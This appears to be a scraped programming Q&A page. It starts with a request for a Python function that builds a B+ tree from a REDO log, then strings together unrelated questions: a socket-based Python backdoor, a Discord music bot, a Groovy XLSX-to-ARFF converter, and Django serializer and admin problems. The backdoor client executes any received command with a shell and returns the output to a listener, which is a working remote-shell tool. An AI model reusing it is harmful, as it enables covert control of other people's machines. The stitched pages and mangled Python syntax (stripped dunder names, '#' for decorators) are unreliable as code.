Write a function in python "from_log(log)"to create a B+ Tree from a REDO log file.
Example log file:
log = Log([Record.start_transaction(1),\
Record.update(1,1,1),\
Record.update(1,2,2),\
Record.commit_transaction(1),\
Record.start_transaction(2),\
Record.update(2,1,2),\
Record.commit_transaction(2)])
class Log:
def init(self, records = None):
self.records = records if records else []
def str(self):
return str(self.records)
def repr(self):
return str(self)
def eq(self, other):
return self.records == other.records
class Record:
def start_transaction( transaction_id ):
return ("START", transaction_id)
def rollback_transaction( transaction_id ):
return ("ABORT", transaction_id)
def commit_transaction( transaction_id ):
return ("COMMIT", transaction_id)
def update( transaction_id, tuple_id, val ):
return (transaction_id, tuple_id, val)
Function Call:
from_log(log)
How B+-Tree looks like:
leaf4 = Node(\
KeySet([97,99]),\
PointerSet([None]*Index.FAN_OUT))
leaf3 = Node(\
KeySet([87, None]),\
PointerSet([None,None,leaf4]))
leaf2 = Node(\
KeySet([66,None]),\
PointerSet([None,None,leaf3]))
leaf1 = Node(\
KeySet([27,None]),\
PointerSet([None,None,leaf2]))
leaf0 = Node(\
KeySet([7,9]),\
PointerSet([None,None,leaf1]))
parent1 = Node(\
KeySet([97,None]),\
PointerSet([leaf3,leaf4,None]))
parent0 = Node(\
KeySet([27,66]),\
PointerSet([leaf0,leaf1,leaf2]))
root = Node(\
KeySet([87,None]),\
PointerSet([parent0,parent1,None]))
btree = Index(root)
Classes:
class KeySet:
NUM_KEYS = 2
def init(self, keys = None):
self.keys = keys if keys else [None]*KeySet.NUM_KEYS
def str(self):
return str(self.keys)
def repr(self):
return str(self)
def hash(self):
if keys[ 0 ] is None:
return 0
return reduce(lambda x, y: x^y, [x * Constants.a_prime for x in keys if x is not None])
def eq(self, other):
return self.keys == other.keys
class Node:
def init(self, keys = None, pointers = None):
self.keys = keys if keys else KeySet()
self.pointers = pointers if pointers else PointerSet()
def str(self):
return "Node(" + str(self.keys) + "|" + str(self.pointers) +")"
def repr(self):
return str(self)
def hash(self):
return hash(keys) ^ hash(pointers)
def eq(self, other):
return self.keys == other.keys and self.pointers == other.pointers
#staticmethod
def get_num_keys():
return KeySet.NUM_KEYS
#staticmethod
def get_fan_out():
return KeySet.NUM_KEYS + 1
class PointerSet:
FAN_OUT = 3
def init(self, pointers = None):
self.pointers = pointers if pointers else [None]*PointerSet.FAN_OUT
def str(self):
return str(self.pointers)
def repr(self):
return str(self)
def hash(self):
if pointers[ 0 ] is None:
return 0
return reduce(lambda x, y: x^y, [hash(x) * Constants.a_prime for x in pointers if x is not None])
def eq(self, other):
return self.pointers == other.pointers
Write the function from_log(log).
Related
I tried Encoding but is not working can anyone help me with the serialization in python3 a bytes-like object is required, not 'str'
#!/usr/bin/python3
import socket
import json
import pickle
class Listener:
def __init__(self,ip,port):
listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
listener.bind((ip,port))
listener.listen(0)
print("[+] Waiting for Incoming Connection")
self.connection,address = listener.accept()
print(("[+] Got a Connection from " + str(address)))
def serialize_send(self, data):
data_send = json.dumps(data)
return self.connection.send(data_send)
def serialize_receive(self):
json_dataX = ""
while True:
try:
# #json_data = json_data + self.connection.recv(1024)
# data = self.connection.recv(1024).decode("utf-8", errors="ignore")
# json_data = json_data + data
# return json.loads(json_data)
json_data = bytes(json_dataX, 'utf-8')+ self.connection.recv(1024)
return json.loads(json.loads(json_data.decode('utf8')))
except ValueError:
continue
def execute_remotely(self,command):
self.serialize_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.serialize_receive()
def run(self):
while True:
comX = input(">> : ")
command = comX.split(" ")
try:
sys_command = str(command[0])
result = self.execute_remotely(sys_command)
except Exception as errorX:
result = errorX
print(result)
my_backdoor = Listener("localhost",1234)
my_backdoor.run()
Client Code
#!/usr/bin/python3
import socket
import subprocess
import json
import pickle
class Backdoor:
def __init__(self,ip,port):
self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.connection.connect(("localhost",1234))
def serialize_send(self,data):
json_data = json.dumps(data)
self.connection.send(json_data)
def serialize_receive(self):
json_dataX = ""
while True:
try:
#conn_Recv = self.connection.recv(1024)
#data = self.connection.recv(1024).decode("utf-8", errors="ignore")
#json_data = json_dataX + data
json_data = bytes(json_dataX, 'utf-8') + self.connection.recv(1024)
return json.loads(json.loads(json_data.decode('utf8')))
except ValueError:
continue
def execute_system_commmand(self,command):
return subprocess.check_output(command,shell=True)
def run(self):
while True:
commandx = self.serialize_receive()
command = commandx
try:
if command[0] == "exit":
self.connection.close()
exit()
else:
command_result = self.execute_system_commmand(command)
except Exception:
command_result = "[-] Unknown Execution."
self.serialize_send(command_result)
my_backdoor = Backdoor("localhost",1234)
my_backdoor.run()
i'm looking for advice on how to make a player loop process that takes The songs from my queue and automatically plays them. The ones that ive tried making are only possible if the bot is used in 1 server. ive got alot more than 1 server that my bot is in. Im just looking for some advice on where to start
my code right now.
import wavelink
import discord
import asyncio
import random
from discord.ext import commands
import humanize as h
class MusicQueue(asyncio.Queue):
def __init__(self, **kwargs):
super().__init__(**kwargs)
self._queue = []
self.index = 0
self.repeat_start = None
def reset(self):
while len(self._queue)-1 > self.index:
self._queue.pop()
self.repeat_start = None
#dont reset the index, keep the history
def hard_reset(self):
self._queue.clear()
self.index = 0
self.repeat_start = None
def shuffle(self):
if self.repeat_start is not None:
n = self.repeat_start
else:
n = self.index
shuffle = self._queue[n:]
random.shuffle(shuffle)
old = self._queue[:n]
self._queue = old + shuffle
def repeat(self):
if self.repeat_start is not None:
self.repeat_start = None
else:
self.repeat_start = self.index
def _get(self):
if self.repeat_start is not None:
if len(self._queue) == 1:
# it doesnt seem to like it when only one item is in the queue, so dont increase the index
return self._queue[0]
diff = self.index - self.repeat_start
self.index += 1
if len(self._queue) <= self.index:
self.index = self.repeat_start
return self._queue[diff]
else:
r = self._queue[self.index]
self.index += 1
return r
def putleft(self, item):
self._queue.insert(self.index+1, item)
def empty(self):
if self.repeat_start is not None:
if len(self._queue) <= self.index:
self.index = self.repeat_start
return len(self._queue) <= self.index
#property
def q(self):
return self._queue[self.index:]
#property
def history(self):
return self._queue[:self.index]
class music(commands.Cog):
def __init__(self, client):
self.client = client
self.queues = {}
if not hasattr(client, 'wavelink'):
self.client.wavelink : wavelink.Client = wavelink.Client(self.client)
self.client.loop.create_task(self.start_nodes())
async def start_nodes(self):
await self.client.wait_until_ready()
await self.client.wavelink.initiate_node(host='0.0.0.0',
port=2333,
rest_uri='http://0.0.0.0:2333',
password='youshallnotpass',
identifier='DRIZZI',
region='us_central')
def getQueue(self,ctx):
if not self.queues[ctx.guild.id]:
self.queues[ctx.guild.id] = MusicQueue()
queue = self.queues[ctx.guild.id]
return queue
#commands.command(name='connect')
async def connect_(self, ctx, *, channel: discord.VoiceChannel=None):
if not channel:
try:
channel = ctx.author.voice.channel
except AttributeError:
raise discord.DiscordException('No channel to join. Please either specify a valid channel or join one.')
player = self.client.wavelink.get_player(ctx.guild.id)
await ctx.send(f'Connecting to **`{channel.name}`**')
await player.connect(channel.id)
#commands.command()
async def play(self, ctx, *, query: str):
def convert_from_ms( milliseconds ):
seconds, milliseconds = divmod(milliseconds,1000)
minutes, seconds = divmod(seconds, 60)
hours, minutes = divmod(minutes, 60)
seconds = seconds
return hours, minutes, seconds
queue : MusicQueue = self.getQueue(ctx)
tracks = await self.client.wavelink.get_tracks(f'ytsearch:{query}')
song : wavelink.Track = tracks[0]
if song.duration > 600000:
return await ctx.send("Song may not be more than 10 minutes")
if not tracks:
return await ctx.send('Could not find any songs with that query.')
player = self.client.wavelink.get_player(ctx.guild.id)
if not player.is_connected:
await ctx.invoke(self.connect_)
emb = discord.Embed(title = f'Added {str(song)} to the queue')
emb.set_thumbnail(url=song.thumb)
time=convert_from_ms(song.duration)
emb.add_field(name='Duration', value=f'{time[1]}:{time[2]}')
emb.add_field(name='Uploaded by', value=song.author)
await ctx.send(embed=emb)
await queue.put((song,player))
def setup(client):
client.add_cog(music(client))```
I'm generating a arff file with groovy from a xslx,
but when i try to open this file in weka i got this error:
File "..." not recognised as an 'Arff data files' file.
Reason:
nominal value not declared in header, read Token[Ativo], line 16
i can't understand why i'm getting this error
can someone helpme to fix this error, and explain why it's happening?
Generated file
#relation kd-itempedido
#attribute tipopedido {Assistencia,Recompra,Venda,Troca}
#attribute aprovado {0.0,1.0}
#attribute fasepedido {Aprovado,Cancelado,EmAprovacao,Liberado,Novo}
#attribute statusinternopedido {NegociarPagamento,PedidosDeTeste,AguardandoOcorrencia,Nada,AguardandoBoletoDeposito,PedidoDuplicado,SuspeitaDeFraude}
#attribute canal {Marketplace,Desktop}
#attribute origem {LojasAmericanas,Optimise,MercadoLivre,Cityads,Zanox,Zoom,Rakuten,Lomadee,Facebook,Viptarget,Submarino,Criteo,Muccashop,Chaordic,Walmart,Googlead,Nada,Extra,Lojaskd,Shopback,Afilio,Shoptime,Nextperformance,CarrinhoAbandonado,Bing}
#attribute mercado {S,N}
#attribute cluster {EntregaImediata,Fiprec,Icconv,Esgotado}
#attribute statusitem {Ativo}
#attribute statusproduto {Inativo,Ativo,AtivoSemEstoque,ForaDeLinha}
#attribute polo {Polo1,Polo3,Polo2}
#data
Venda,0.0,Novo,Nada,Desktop,Googlead,S,Fiprec,Ativo,Ativo,Polo2
Venda,0.0,Novo,Nada,Desktop,Googlead,S,Fiprec,Ativo,Ativo,Polo2
Venda,0.0,Novo,Nada,Desktop,Googlead,S,Ativo,Inativo,Polo2
Venda,0.0,Novo,Nada,Desktop,Muccashop,N,Ativo,Ativo,Polo3
Groovy (VM -Dfile.encoding=ascii utf-8 utf8)
#Grapes([
#Grab('org.apache.poi:poi:3.10.1'),
#Grab('org.apache.poi:poi-ooxml:3.10.1')])
import org.apache.poi.xssf.usermodel.XSSFWorkbook
import java.text.Normalizer
import static org.apache.poi.ss.usermodel.Cell.*
import java.nio.file.Paths
def path = "/home/eric/Documents/development/ufpr/Solid Eric/ItemPedido1000.xlsx"
def relation = "kd-itempedido"
def columns = ["tipopedido", "aprovado", "fasepedido", "statusinternopedido", "canal", "origem", "mercado", "cluster", "statusitem","statusproduto", "polo"]
def arff = "ItemPedido.arff"
new XslxToArffParser(path, relation, columns, arff);
class Data{
def rows = new ArrayList<List>();
#Override
String toString() {
def s = ""
for (r in rows){
for(d in r){
s+=d
if(r.indexOf(d) < (r.size()-1))
s+=","
}
s+="\n"
}
return s
}
}
class Atributo {
def descricao;
def possibilidades = new HashSet<Object>();
def index;
#Override
String toString() {
def builder = new StringBuilder()
builder.append("#attribute ").append(descricao)
builder.append(" {")
for(def i = 0; i<possibilidades.size(); i++){
builder.append(possibilidades[i])
if((i+1) != possibilidades.size())
builder.append(",")
}
builder.append("}").append("\n")
return builder.toString();
}
}
class XslxToArffParser {
def attributes =[:];
def data = new Data();
def sheet = null;
XslxToArffParser(path, relation, columns, arffPath){
load(path)
getAttributes(columns)
collectData()
saveArff(relation, arffPath)
}
def String parse(String s){
s = Normalizer.normalize(s, Normalizer.Form.NFD)
s = s.replaceAll("[\\p{InCombiningDiacriticalMarks}]", "")
s = s.split(/[^\w]/).collect { it.toLowerCase().capitalize() }.join("")
s = s.replaceAll(" ", "")
s = s.replaceAll("[^A-Za-z0-9]", "")
s = s.isEmpty() ? "Nada" : s
return s
}
def load(path) {
Paths.get(path).withInputStream { input ->
def workbook = new XSSFWorkbook(input)
sheet = workbook.getSheetAt(0)
}
}
def getAttributes(columns){
for (cell in sheet.getRow(0).cellIterator()) {
def index = cell.columnIndex
def description = parse(cell.stringCellValue).toLowerCase()
if(columns.contains(description)){
attributes << [(index):new Atributo(descricao: description, index: index)]
}
}
}
def collectData(){
def headerFlag = true
for (row in sheet.rowIterator()) {
if (headerFlag) {
headerFlag = false
continue
}
def r = []
for (cell in row.cellIterator()) {
def index = cell.columnIndex;
def value = cell.cellType == CELL_TYPE_STRING ? parse(cell.stringCellValue) : cell.numericCellValue
def attr = attributes[index]
if(attr != null){
attr.possibilidades.add(value)
r << value
}
}
data.rows.add(r)
}
}
def saveArff(relation, path){
Paths.get(path).withWriter { writer ->
writer.write "#relation " + relation
writer.write "\n"
for(a in attributes.values())
writer.write a.toString()
writer.write "#data"
writer.write "\n"
writer.write data.toString()
}
}
}
Solved. "row.cellIterator()" does not iterate over null/blank cells
It has been a while since I used Weka, but looking at the file you showed and the error message, I suspect the problem is in the last two rows of the data file. They don't have a value for the attribute "cluster".
After the S or N (for attribute "mercado"), they have "Ativo". That "Ativo" value is not defined as one of the possible values of the nominal attribute cluster. The file did read "Ativo" though (which is why the error message says ''read Token[Ativo]'', but it expected to read a value for the cluster attribute, it did not yet expect a value for the statusitem attribute.
Here is function I wrote, it checks field called 'url' inside 'Url1' Model and continues IF it's empty.
def mozs():
getids = Url1.objects.values_list('id', flat=True)
for id in getids:
if Url1.objects.get(id=id).pda == None:
authorities= {"pda": 58.26193857945012, "upa": 36.56733779379807}
authorities['keyword'] = id
serializer = MozSerializer(data=authorities)
if serializer.is_valid():
serializer.save()
print "For %d we added %s" % (id, authorities)
Here is output:
For 37 we added {'keyword': 37, 'pda': 58.26193857945012, 'upa': 36.56733779379807}
But it doesn't add it. Here is serializer:
class MozSerializer(serializers.Serializer):
keyword = serializers.PrimaryKeyRelatedField(queryset=KW.objects.all())
pda = serializers.FloatField()
upa = serializers.FloatField()
def save(self):
keyword = self.validated_data['keyword']
pda = self.validated_data['pda']
upa = self.validated_data['upa']
Url1.objects.update(pda=pda, upa=upa)
I need to access an attribute from a related model (to use as a filter attribute in an admin), but I get this error: 'EventTimeAdmin.list_filter[1]' refers to field 'event__sites' that is missing from model 'EventTime'.
Here is are the relevant classes from models.py:
class Event(models.Model):
title = models.CharField(max_length=100)
short_description = models.CharField(max_length=250, blank=True)
long_description = models.TextField(blank=True)
place = models.ForeignKey(Place, related_name="events", default=0, blank=True, null=True)
one_off_place = models.CharField('one-off place', max_length=100, blank=True)
phone = models.CharField(max_length=40)
cost_low = models.DecimalField('cost (low)', max_digits=7, decimal_places=2, blank=True, null=True)
cost_high = models.DecimalField('cost (high)', max_digits=7, decimal_places=2, blank=True, null=True)
age_lowest = models.PositiveSmallIntegerField('lowest age', blank=True, null=True, help_text='Use 0 for "all ages". Leave blank if no age information is available') # Not every event submits info about age limits
priority = models.ForeignKey(EventPriority)
ticket_website = models.URLField('ticket Web site', blank=True)
posted_date = models.DateTimeField('date entered', default=datetime.datetime.now())
updated_date = models.DateTimeField('date updated', editable=False, blank=True)
small_photo = models.ImageField(upload_to='img/events/%Y', blank=True)
teaser_text = models.TextField(max_length=1000, blank=True)
is_ongoing_indefinitely = models.BooleanField(db_index=True, help_text="If this box is checked, the event won't be displayed by default in the event search. Users will have to manually select \"Display ongoing events\" in order to display it.")
is_national_act = models.BooleanField('is a national marquee touring act')
categories = models.ManyToManyField(EventCategory, related_name="events")
bands = models.ManyToManyField(Band, related_name="events", blank=True)
sites = models.ManyToManyField(Site)
related_links = generic.GenericRelation(RelatedLink)
generic_galleries = generic.GenericRelation(GalleryRelationsPiece)
staff_photographer_attending = models.BooleanField('Staff Photographer will be attending')
index = EventIndex()
class Meta:
ordering = ('title',)
def __unicode__(self):
return self.title
def save(self, *args, **kwargs):
self.updated_date = datetime.datetime.now()
super(Event, self).save(*args, **kwargs)
def get_absolute_url(self):
if self.is_recurring():
return reverse('ellington_events_ongoing_detail', args=[self.id])
else:
next = self.get_next_time()
if next:
return next.get_absolute_url()
else:
try:
last = self.event_times.order_by("-event_date", "start_time")[0]
return last.get_absolute_url()
except IndexError:
return reverse('ellington_events_todays_events', args=[])
#property
def _sites(self):
"""A property used for indexing which sites this object belongs to."""
return [s.id for s in self.sites.all()]
# def start_time(self):
# return self.event_times.start_time
# TODO: Redundant
def get_absolute_url_recurring(self):
"Returns the absolute URL for this event's recurring-event page"
return reverse('ellington_events_ongoing_detail', args=[self.id])
def is_recurring(self):
"""Returns ``True`` if this event is a recurring event."""
return bool(self.recurring_event_times.count())
def get_cost(self):
"Returns this event's cost as a pretty formatted string such as '$3 - $5'"
if self.cost_low == self.cost_high == 0:
return 'Free'
if self.cost_low == self.cost_high == None:
return ''
if self.cost_low == 0 and self.cost_high == None:
return 'Free'
elif self.cost_low == None and self.cost_high == 0:
return 'Free'
if self.cost_low == self.cost_high:
cost = '$%.2f' % self.cost_low
elif self.cost_low == 0 or self.cost_low == None:
cost = 'Free - $%.2f' % self.cost_high
elif self.cost_high == 0 or self.cost_high == None:
cost = '$%.2f' % self.cost_low
else:
cost = '$%.2f - $%.2f' % (self.cost_low, self.cost_high)
return cost.replace('.00', '')
def get_age_limit(self):
"Returns this event's age limit as a pretty formatted string such as '21+'"
if self.age_lowest is None:
return 'Not available'
if self.age_lowest == 0:
return 'All ages'
return '%s+' % self.age_lowest
def get_place_name(self):
"Returns this event's venue, taking into account the one_off_place field."
if self.one_off_place:
return self.one_off_place
if self.place is not None:
return self.place.name
else:
return ""
def get_next_time(self):
"""
Return the next (in the future) ``EventTime`` for this ``Event``.
Assumes the event is not recurring. Returns ``None`` if no next time is
available.
"""
now = datetime.datetime.now()
for et in self.event_times.filter(event_date__gte=now.date()).order_by("event_date", "start_time"):
try:
dt = datetime.datetime.combine(et.event_date, et.start_time)
except TypeError:
return None
if dt >= now:
return et
return None
# TODO: proprietary
def get_lj_category(self):
"""
Returns either 'Nightlife', 'Music', 'Theater', 'Misc.' or
'Museums and Galleries' for this event.
"""
MAPPING = (
('Activities', 'Misc.'),
('Art', 'Museums and Galleries'),
('Children', 'Misc.'),
('Community', 'Misc.'),
('Culinary', 'Misc.'),
('KU calendar', 'Misc.'),
('Lectures', 'Misc.'),
('Museums', 'Museums and Galleries'),
('Performance', 'Misc.'),
)
# "Performance | Theater" is a special case.
for c in self.categories.all():
if str(c) == "Performance | Theater":
return 'Theater'
parent_categories = [c.parent_category for c in self.categories.all()]
for parent_category, lj_category in MAPPING:
if parent_category in parent_categories:
return lj_category
# Failing that, we must be in either 'Music', which can be either
# 'Music' or 'Nightlife', depending on the venue.
if self.one_off_place:
return 'Music'
# If it's downtown, it's 'Nightlife'. Otherwise, it's 'Music'.
if "downtown" in self.place.neighborhood.lower():
return 'Nightlife'
return 'Music'
class EventTime(models.Model):
event = models.ForeignKey(Event, related_name="event_times")
event_date = models.DateField('date')
start_time = models.TimeField(blank=True, null=True)
finish_time = models.TimeField(blank=True, null=True)
objects = EventTimeManager()
def long_desc(self):
return self.event.long_description
# def sites(self):
# return self.event._sites
# def sites(self):
# return self.event.sites
# #property
# def _sites(self):
# """A property used for indexing which sites this object belongs to."""
# return [s.id for s in self.event.sites.all()]
# def _sites(self):
# """A property used for indexing which sites this object belongs to."""
# return [s.id for s in self.event.sites.all()]
# def _sites(self):
# """A property used for indexing which sites this object belongs to."""
# return [s.id for s in event.sites.all()]
class Meta:
ordering = ('event_date', 'start_time')
def __unicode__(self):
return u"%s -- %s at %s" % (self.event.title, self.event_date.strftime("%m/%d/%y"), self.event.get_place_name())
def get_absolute_url(self):
year = self.event_date.strftime("%Y")
month = self.event_date.strftime("%b").lower()
day = self.event_date.strftime("%d")
return reverse('ellington_events_event_detail', args=[year, month, day, self.event.id])
def get_time(self):
"Returns this event's time as a pretty formatted string such as '3 p.m. to 5 p.m.'"
if self.start_time is not None and self.finish_time is not None:
return '%s to %s' % (dateformat.time_format(self.start_time, 'P'), dateformat.time_format(self.finish_time, 'P'))
elif self.start_time is not None:
return dateformat.time_format(self.start_time, 'P')
return 'time TBA'
def get_part_of_day(self):
"""
Returns a string describing the part of day this event time is taking
place -- either 'Morning', 'Afternoon', 'Evening' or 'Night'.
"""
if self.start_time is None:
return 'Time not available'
if 3 < self.start_time.hour < 12:
return 'Morning'
elif 12 <= self.start_time.hour < 18:
return 'Afternoon'
elif 18 <= self.start_time.hour < 21:
return 'Evening'
return 'Night'
def is_in_the_past(self):
return self.event_date < datetime.date.today()
def happens_this_year(self):
return datetime.date.today().year == self.event_date.year
def get_other_event_times(self):
"Returns a list of all other EventTimes for this EventTime's Event"
if not hasattr(self, "_other_event_times_cache"):
self._other_event_times_cache = [et for et in self.event.event_times.order_by("event_date", "start_time") if et.id != self.id]
return self._other_event_times_cache
# TODO: proprietary
def get_weather_forecast(self):
"Returns a weather.forecast.DayForecast object for this EventTime"
try:
from ellington.weather.models import DayForecast
except ImportError:
return None
if not self.event.place.is_outdoors:
raise DayForecast.DoesNotExist
if not hasattr(self, "_weather_forecast_cache"):
self._weather_forecast_cache = DayForecast.objects.get(full_date=self.event_date)
return self._weather_forecast_cache
DAY_OF_WEEK_CHOICES = (
(0, 'Sunday'),
(1, 'Monday'),
(2, 'Tuesday'),
(3, 'Wednesday'),
(4, 'Thursday'),
(5, 'Friday'),
(6, 'Saturday'),
)
The thing is, event__title is accessed from EventTimeAdmin:
class EventTimeAdmin(admin.ModelAdmin):
list_display = ('event', 'event_date', 'start_time', 'finish_time','long_desc')
list_filter = ('event_date','event__sites')
search_fields = ('event__title', 'event_date')
ordering = ('-event_date',)
class Meta:
model = EventTime
But event__sites is not accessible... why is that?
Edit: You can see my attempts (commented out) to define sites in models.py above. None of these worked.
event__sites is a ManyToManyField
You could try the following:
admin.py
def get_sites(self):
sites = self.event.sites.all()
result = u''
for site in sites:
result = u'%s - %s' % (result, site.name) # unsure about NAME - is it a valid field of Sites Model?
return result
get_sites.short_description = u'Sites'
class EventTimeAdmin(admin.ModelAdmin):
list_filter = ('event_date', get_sites)
admin.site.register(EventTime, EventTimeAdmin)
Hope it helps.